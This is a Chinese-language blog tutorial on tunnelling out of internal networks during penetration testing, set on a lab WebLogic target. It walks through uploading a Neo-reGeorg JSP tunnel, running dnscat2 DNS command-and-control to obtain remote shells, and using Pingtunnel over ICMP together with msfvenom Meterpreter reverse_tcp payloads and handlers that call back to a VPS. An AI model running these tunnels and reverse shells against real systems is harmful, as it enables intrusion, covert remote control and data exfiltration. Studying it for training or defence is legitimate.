内网隧道—HTTP\DNS\ICMP

向右看齐 2023-10-14 07:49 8阅读 0赞

本文仅限于安全研究和学习，用户承担因使用此工具而导致的所有法律和相关责任！ 作者不承担任何法律和相关责任！

## HTTP隧道 ##

## Neo-reGeorg ##

Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目，目的是：

> 提高可用性，避免特征检测  
> 提高 tunnel 连接安全性  
> 提高传输内容保密性  
> 应对更多的网络环境场景下使用

靶场环境：cve-2017-10271 weblogic

\#靶场攻击过程，使用脚本工具得到shell，在此略过

1.设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器

![793f2c4d19cd4faeb6578509276df1c6.png][]

![cbc5a047744c46d6b21d710a5f1a0fea.png][]

2.使用蚁剑上传JSP文件

> 上传至此目录：可以访问到文件
> 
> /root/Oracle/Middleware/user\_projects/domains/base\_domain/servers/AdminServer/tmp/\_WL\_internal/bea\_wls\_internal/9j4dqk/war/

3.使用 neoreg.py 连接WEB服务器，在本地建立 socks 代理，代理默认端口 1080

修改配置文件：vim proxychains4.conf

![11a1378a938645708167de9ae32f03af.png][]

执行命令：

![2175ff47d29b458582f24a99b61f755a.png][]![712c3af3d3d2452daf3f9815164d88e6.png][]

\#测试代理： proxychains curl 127.0.0.1:7001

##  ##

## DNS隧道 ##

## Dnscat2 ##

dnscat2是一个DNS隧道工具，通过DNS协议创建加密的命令和控制通道，它的一大  
特色就是服务端会有一个命令行控制台，所有的指令都可以在该控制台内完成。包  
括：文件上传、下载、反弹Shell。  
直连模式：客户端直接向指定IP的恶意DNS服务器发起DNS解析请求。

中继模式：像我们平时上网一样，DNS解析先经过互联网的迭代解析，最后指向我们  
的恶意DNS服务器。相比直连，速度较慢，但是更安全。

### **服务端安装** ###

> apt install ruby ruby-dev git make g++ ruby-bundler  
> gem install bundler

![0584673da670439d9dfc72b4bd9cbcff.png][]

![1dd944f8a4d342d482f6c42d18bfa2b5.png][]

> git clone https://github.com/iagox86/dnscat2.git（也可以先下载文件，然后上传至VPS）  
> cd dnscat2/server  
> bundle install \#如此命令报错，和本地网络有关，多试几次

![f6d62e405cf1439bab86d9931cefc50f.png][]

###    客户端编译 ###

> Linux：
> 
> git clone https://github.com/iagox86/dnscat2.git  
> cd dnscat2/client/  
> make
> 
> Windows：
> 
> 下载Windows版本
> 
> 在本地编译上传
> 
> 上传已经编译好的 .exe程序

> make编译之后会在此目录下生成一个dnscat可执行二进制文件。  
> Linux systemd-resolve占用53端口的解决方法： https://www.itren.org/319.html

####  ####

#### **Dnscat2直连模式** ####

启动服务端

ruby ./dnscat2.rb

![7f9121013b5848eca4a0f7764433a9e9.png][]

![f0fc98ab19d340c8a3630c6c0229a5c3.png][]

#### 启动客户端 ####

![c570f6610d5945c4b377951fc2bb58a1.png][]

**vps收到会话**

![8a99190da1954f34b4cfed0af7b6d4c7.png][]

help

windows

进入session 1: session -i 1

shell \#获取主机shell

进入session 2 : session -i 2

![ab395f5437ce49c2a5f37d3b5415c834.png][]

执行命令：

whoami

![305c7e9061f44337b2e4eea825b04b5b.png][]

直连模式流量特征:tcpdump udp dst port 53

#### Dnscat2中继模式 ####

> 环境准备：  
> 1. 一台公网C&C服务器  
> 2. 一台内网靶机 \#以win7为例  
> 3. 一个可配置解析的域名

> 配置DNS域名解析：  
> 创建A记录，将自己的域名解析服务器（ns.hack.com）指向云服务器（VPS IP）
> 
> A类解析是在告诉域名系统,ns.hacker.com的IP地址是 xxx.xxx.xxx.xxx

> 创建NS记录，将子域名 dns.hetian.cn 的DNS解析交给 ns.hack.com  
> NS解析是在告诉域名系统，想要知道 dns.hack.com 的IP地址，就去问ns.hacker.com

![71dc19b01c76460b8051643908d3166e.png][]

vps防火墙设置：开放全部UDP端口

![6a8ccde0517a4e1fb2cfa3c59d33c719.png][]

启动服务端

ruby ./dnscat2.rb dns.xxx.xxx --secret=abcd

secret --指定密码

![4fae45007197431c8a9d32728a1cc4b4.png][]

![b79729644f564610aa005769097f3863.png][]

启动客户端

server \#指定VPS地址

![b5ac5b0e398e4804b80bc9405945b8fa.png][]

服务端收到session 3

![de6c9065e19047f9b98f5aa5ada7362c.png][]

获取shell

进入会话：session -i 4

![10b9b554f43740769caf7fa3f5153653.png][]

执行命令： whoami

![c2cbe4953bd1463fb3d7a114f9e83f8d.png][]

##  ##

## **ICMP隧道** ##

### Pingtunnel ###

**ICMP隧道**  
通过某种信道获取了内网主机的shell，但是当前信道不适合做远控的通信信道，  
tcp 和 udp 等传输层协议不能出网， dns 、 http 等应用层协议也不能出网，只有  
icmp 协议可以出网。

目的：上线仅icmp协议出网的内网主机

#### ICMP隧道转发TCP上线MSF ####

**1.VPS启动ICMP隧道服务端**

./pingtunnel -type server -noprint 1 -nolog 1

![26676b4bd48f4fbb8b6a3af42e33d012.png][]

**2.靶机启动ICMP隧道客户端**

> pingtunnel.exe -type client -l 127.0.0.1:9999 -s vpsip -t vpsip:7777 -tcp 1 -noprint 1 -nolog 1

![fa253da39c8f4883ad823fbd2fcc9fe6.png][]

**3. MSF 生成反弹 shell 的 payload 上传到靶机**

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=9999 -f exe > hot.exe

![ba41e583dd48445ba795ab4b2dc60e6f.png][]

**4.执行 payload 反弹 shell 到 MSF**

设置侦听：

> msfconsole
> 
> use exploit/multi/handler
> 
> set lhost xx.xx.xx.xx (vps的内网IP)
> 
> set lport 8866
> 
> set payload windows/x64/meterpreter/reverse\_tcp
> 
> exploit

![93573d2a73874447913d9a5a195fb594.png][]

5. 靶机执行payload,msf上线

![0514222224c84d9683073669db181606.png][]

![671823121e514ed0a416f28d65a40ced.png][]

![69140451eca448c8861ef29e9c470656.png][]

### ICMP隧道转发Socks上线MSF ###

**1. VPS启动ICMP隧道服务端**

./pingtunnel -type server -noprint 1 -nolog 1

**2.靶机启动ICMP隧道客户端**

pingtunnel.exe -type client -l 127.0.0.1:9999 -s VPSIP -sock5 1 -noprint 1 -nolog 1

> ###### **\# icmp隧道客户端监听127.0.0.1:9999启动socks5服务，** ######
> 
> ######  **通过连接到**VPS IP**的icmp隧道，** ######
> 
> ######  **由icmpserver转发socks5代理请求到目的地址** VPSIP**:8899** ######

**3.MSF 生成反弹 shell 的 payload 上传到靶机，并执行**

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=VPSIP lport=8866 HttpProxyType=SOCKS HttpProxyHost=127.0.0.1 HttpProxyPort=9999 -f exe > c2.exe

![e114c2248d054d829de03e1ddb10f63c.png][]

5.设置侦听

handler -p windows/x64/meterpreter/reverse\_tcp -H xx.xx.xx.xx -P8866

\#IP是vps的内网IP

![3c146d1501944220b8d2ed680886c746.png][]

6.MSF收到会话

![085bf35bcc07483c9a27b2c61f6d47df.png][]

可以执行命令![f15694990d07481da7711a1f5ef27990.png][]

参考：

[内网渗透之内网穿透 - 先知社区][-]

...

[793f2c4d19cd4faeb6578509276df1c6.png]: https://img-blog.csdnimg.cn/793f2c4d19cd4faeb6578509276df1c6.png
[cbc5a047744c46d6b21d710a5f1a0fea.png]: https://img-blog.csdnimg.cn/cbc5a047744c46d6b21d710a5f1a0fea.png
[11a1378a938645708167de9ae32f03af.png]: https://img-blog.csdnimg.cn/11a1378a938645708167de9ae32f03af.png
[2175ff47d29b458582f24a99b61f755a.png]: https://img-blog.csdnimg.cn/2175ff47d29b458582f24a99b61f755a.png
[712c3af3d3d2452daf3f9815164d88e6.png]: https://img-blog.csdnimg.cn/712c3af3d3d2452daf3f9815164d88e6.png
[0584673da670439d9dfc72b4bd9cbcff.png]: https://img-blog.csdnimg.cn/0584673da670439d9dfc72b4bd9cbcff.png
[1dd944f8a4d342d482f6c42d18bfa2b5.png]: https://img-blog.csdnimg.cn/1dd944f8a4d342d482f6c42d18bfa2b5.png
[f6d62e405cf1439bab86d9931cefc50f.png]: https://img-blog.csdnimg.cn/f6d62e405cf1439bab86d9931cefc50f.png
[7f9121013b5848eca4a0f7764433a9e9.png]: https://img-blog.csdnimg.cn/7f9121013b5848eca4a0f7764433a9e9.png
[f0fc98ab19d340c8a3630c6c0229a5c3.png]: https://img-blog.csdnimg.cn/f0fc98ab19d340c8a3630c6c0229a5c3.png
[c570f6610d5945c4b377951fc2bb58a1.png]: https://img-blog.csdnimg.cn/c570f6610d5945c4b377951fc2bb58a1.png
[8a99190da1954f34b4cfed0af7b6d4c7.png]: https://img-blog.csdnimg.cn/8a99190da1954f34b4cfed0af7b6d4c7.png
[ab395f5437ce49c2a5f37d3b5415c834.png]: https://img-blog.csdnimg.cn/ab395f5437ce49c2a5f37d3b5415c834.png
[305c7e9061f44337b2e4eea825b04b5b.png]: https://img-blog.csdnimg.cn/305c7e9061f44337b2e4eea825b04b5b.png
[71dc19b01c76460b8051643908d3166e.png]: https://img-blog.csdnimg.cn/71dc19b01c76460b8051643908d3166e.png
[6a8ccde0517a4e1fb2cfa3c59d33c719.png]: https://img-blog.csdnimg.cn/6a8ccde0517a4e1fb2cfa3c59d33c719.png
[4fae45007197431c8a9d32728a1cc4b4.png]: https://img-blog.csdnimg.cn/4fae45007197431c8a9d32728a1cc4b4.png
[b79729644f564610aa005769097f3863.png]: https://img-blog.csdnimg.cn/b79729644f564610aa005769097f3863.png
[b5ac5b0e398e4804b80bc9405945b8fa.png]: https://img-blog.csdnimg.cn/b5ac5b0e398e4804b80bc9405945b8fa.png
[de6c9065e19047f9b98f5aa5ada7362c.png]: https://img-blog.csdnimg.cn/de6c9065e19047f9b98f5aa5ada7362c.png
[10b9b554f43740769caf7fa3f5153653.png]: https://img-blog.csdnimg.cn/10b9b554f43740769caf7fa3f5153653.png
[c2cbe4953bd1463fb3d7a114f9e83f8d.png]: https://img-blog.csdnimg.cn/c2cbe4953bd1463fb3d7a114f9e83f8d.png
[26676b4bd48f4fbb8b6a3af42e33d012.png]: https://img-blog.csdnimg.cn/26676b4bd48f4fbb8b6a3af42e33d012.png
[fa253da39c8f4883ad823fbd2fcc9fe6.png]: https://img-blog.csdnimg.cn/fa253da39c8f4883ad823fbd2fcc9fe6.png
[ba41e583dd48445ba795ab4b2dc60e6f.png]: https://img-blog.csdnimg.cn/ba41e583dd48445ba795ab4b2dc60e6f.png
[93573d2a73874447913d9a5a195fb594.png]: https://img-blog.csdnimg.cn/93573d2a73874447913d9a5a195fb594.png
[0514222224c84d9683073669db181606.png]: https://img-blog.csdnimg.cn/0514222224c84d9683073669db181606.png
[671823121e514ed0a416f28d65a40ced.png]: https://img-blog.csdnimg.cn/671823121e514ed0a416f28d65a40ced.png
[69140451eca448c8861ef29e9c470656.png]: https://img-blog.csdnimg.cn/69140451eca448c8861ef29e9c470656.png
[e114c2248d054d829de03e1ddb10f63c.png]: https://img-blog.csdnimg.cn/e114c2248d054d829de03e1ddb10f63c.png
[3c146d1501944220b8d2ed680886c746.png]: https://img-blog.csdnimg.cn/3c146d1501944220b8d2ed680886c746.png
[085bf35bcc07483c9a27b2c61f6d47df.png]: https://img-blog.csdnimg.cn/085bf35bcc07483c9a27b2c61f6d47df.png
[f15694990d07481da7711a1f5ef27990.png]: https://img-blog.csdnimg.cn/f15694990d07481da7711a1f5ef27990.png
[-]: https://xz.aliyun.com/t/7701#toc-8